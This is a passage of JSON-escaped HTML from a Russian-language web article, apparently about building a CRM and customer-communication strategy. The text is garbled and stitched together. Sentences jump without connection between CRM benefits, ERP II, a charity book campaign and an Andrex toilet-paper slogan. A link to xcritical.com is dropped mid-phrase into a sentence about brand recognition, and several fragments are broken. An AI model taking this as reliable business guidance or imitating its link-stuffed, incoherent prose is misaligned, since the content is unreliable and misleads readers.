\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u0435\u043c\u044b\u0445 \u0441\u0434\u0435\u043b\u043e\u043a.<\/li>\n<li>\u0412 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f IT-\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u043e\u043c.<\/li>\n<li>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0431\u0430\u043b\u0430\u043d\u0441 \u0432 \u0438\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0440\u0438\u0441\u043a\u043e\u0432 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443.<\/li>\n<\/ul>\n<p>\u041e\u0441\u043d\u043e\u0432\u0430\u043c\u0438 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u0438 \u0438\u043d\u0434\u0438\u0432\u0438\u0434\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0438\u0437 \u043d\u0438\u0445. \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439. \u0414\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0444\u043e\u043a\u0443\u0441 \u0433\u0440\u0443\u043f\u043f, \u043e\u043f\u0440\u043e\u0441\u043e\u0432, lifestyle \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439. CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0430, \u0435\u0441\u043b\u0438 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u043e\u0442\u0440\u044b\u0432\u0435 \u043e\u0442 \u043e\u0431\u0449\u0435\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.<\/p>\n<p>\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 CRM \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u043c\u043e\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0431\u044b\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044f \u0438\u043c \u0441\u043a\u0438\u0434\u043a\u0438, \u0431\u043e\u043d\u0443\u0441\u044b \u0438 \u043f\u0440\u043e\u0447\u0438\u0435 \u0431\u043b\u0430\u0433\u0430. \u042d\u0442\u043e \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u043b\u043e\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0431\u0430\u0437\u044b. \u0412 \u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0440\u0430\u0437\u043e\u0432\u044b\u0445 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u0432, \u0437\u0430 \u0441\u0447\u0435\u0442 \u0447\u0435\u0433\u043e \u044d\u043a\u043e\u043d\u043e\u043c\u044f\u0442\u0441\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441\u043d\u0438\u0436\u0430\u044e\u0442\u0441\u044f \u0438\u0437\u0434\u0435\u0440\u0436\u043a\u0438. \u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 CRM \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0440\u0430\u0431\u043e\u0442\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0438 \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438. \u0412\u0430\u0436\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f CRM \u2014 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0434\u0435\u043b\u043a\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u043e\u0432\u0430\u0440\u043e\u0432, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438, \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u043c\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<p>\u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u044d\u0442\u0438\u0445 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0439 \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044f, \u043d\u043e \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u0441\u044f \u043d\u0430 \u0434\u0432\u0443\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0431\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0435 \u00ab\u041c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c\u00bb, \u2116 1; 2003 \u0433. \u041a\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043d\u0435\u0441\u0442\u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0442\u0435\u043c \u0438\u043b\u0438 \u0438\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0431\u043b\u0430\u0433\u043e\u0442\u0432\u043e\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u0438\u043b\u0438 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0445\u043e\u0447\u0435\u0442 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0430\u0440\u0442\u043d\u0435\u0440. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043c\u0430\u0440\u043a\u0430 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0438\u043c\u0435\u0435\u0442 \u0441\u0432\u043e\u044e, \u0443\u0436\u0435 \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u043e\u0440\u0433\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u043a\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0431\u044b\u0432\u0430\u0442\u044c \u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445.<\/p>\n<h2 id=\"toc-4\">\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0420\u0430\u0431\u043e\u0442\u044b \u0421\u00a0\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438<\/h2>\n<p>ERP II \u2014 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0440\u044b\u043d\u043a\u0430\/\/ \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439. \u0421 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c email, SMS \u0438 web-push \u043a\u0430\u043d\u0430\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043b\u0435\u043d\u0434\u0438\u043d\u0433\u0430\u043c\u0438. \u2014 roadmap (\u0440\u0430\u0437\u0431\u0438\u0432\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u0430\u0440\u0442\u044b \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e \u043d\u0435\u0434\u0435\u043b\u044f\u043c). \u041c\u044b \u0438\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043b\u044e\u0431\u0438\u043c \u0441\u0432\u043e\u0435 \u0434\u0435\u043b\u043e \u0438 \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043b\u0443\u0447\u0448\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.<\/p>\n<p>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043a\u0443\u043f\u043e\u043a, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043d\u044b\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438. \u041f\u0440\u043e\u0441\u0447\u0438\u0442\u0430\u0435\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043b\u043e\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0432 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c.<\/p>\n<h2 id=\"toc-5\">\u0428\u0430\u0433 4  \u041e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u0422\u043e\u0447\u043a\u0438 \u0421\u043e\u043f\u0440\u0438\u043a\u043e\u0441\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u041a\u043b\u0438\u0435\u043d\u0442\u0430 \u0421 \u0411\u0438\u0437\u043d\u0435\u0441\u043e\u043c<\/h2>\n<p>\u041c\u043d\u043e\u0433\u0438\u0435 \u0431\u0440\u0435\u043d\u0434-\u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0438 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043f\u0440\u043e\u0431\u043d\u0443\u044e \u0430\u043a\u0446\u0438\u044e \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043d\u0430\u0447\u0430\u0442\u044c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u044b. \u041e\u0431\u044b\u0447\u043d\u043e \u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 <a href=\"https:\/\/xcritical.com\/\">https:\/\/xcritical.com\/<\/a> \u0442\u043e\u0440\u0433\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u043a\u0438, \u043e\u0445\u0432\u0430\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043b\u043e\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u0434\u0430\u0436. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0439\u0442\u0435 \u043a\u0430\u0440\u0442\u0443 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0443\u044e \u043a\u043e\u0433\u0434\u0430, \u0441 \u043a\u0435\u043c \u0438 \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u043f\u043e\u0432\u043e\u0434\u0443 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0438 \u043a\u0430\u043a\u0438\u0435 \u043a\u0430\u043d\u0430\u043b\u044b \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043b\u0443\u0447\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043a\u0440\u0435\u0434\u0438\u0442\u043d\u044b\u043c \u044d\u043c\u0438\u0442\u0435\u043d\u0442\u0430\u043c, \u0441\u0442\u0438\u043c\u0443\u043b\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u043a\u0440\u0435\u0434\u0438\u0442\u043d\u044b\u0445 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u0438 \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u00ab\u041f\u0440\u043e\u0447\u0442\u0438 \u043c\u043d\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u00bb. \u00ab\u0412\u043e\u043b\u0434\u0435\u043d\u0431\u0443\u043a\u0441\u00bb \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u044d\u0442\u043e\u0439 \u0430\u043a\u0446\u0438\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u0438\u0445 \u0432 \u0441\u0432\u043e\u0439 \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0438 \u0432 \u0440\u0435\u043a\u043b\u0430\u043c\u0443. \u0414\u043b\u044f \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u044b\u043b \u043e\u0442\u0441\u043d\u044f\u0442 30-\u0441\u0435\u043a\u0443\u043d\u0434\u043f\u044b\u0439 \u0442\u0435\u043b\u0435\u0432\u0438\u0437\u0438\u043e\u043d\u043d\u044b\u0439 \u0440\u043e\u043b\u0438\u043a. \u0420\u0435\u043a\u043b\u0430\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0438\u043b\u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u043c\u0435\u0441\u0442\u043d\u044b\u0445 \u0440\u0430\u0434\u0438\u043e\u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 \u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0430\u0445. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u044b\u0439 \u0431\u044e\u0434\u0436\u0435\u0442 \u00ab\u041f\u0440\u043e\u0447\u0442\u0438 \u043c\u043d\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u00bb \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b 20 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u043f\u043b\u044e\u0441 \u0435\u0449\u0435 4 \u043c\u043b\u043d \u0432 \u0432\u0438\u0434\u0435 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u044b\u0445 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0430\u043a\u0446\u0438\u0439 \u0441 \u0442\u043e\u0440\u0433\u043e\u0432\u0446\u0430\u043c\u0438. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0442\u0435\u043c\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u00ab\u0431\u0443\u043c\u0430\u0433\u0430 Andrex \u043c\u044f\u0433\u043a\u0430\u044f, \u043f\u0440\u043e\u0447\u043d\u0430\u044f \u0438 \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0430\u044f\u00bb.<\/p>\n<p>SMS, email-\u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u044b \u0438 push-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432\u043c\u0435\u0441\u0442\u0435 \u0434\u043b\u044f \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041f\u043e\u0439\u043c\u0438\u0442\u0435 \u043a\u0430\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 CRM. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u043e\u0432\u044b\u0445 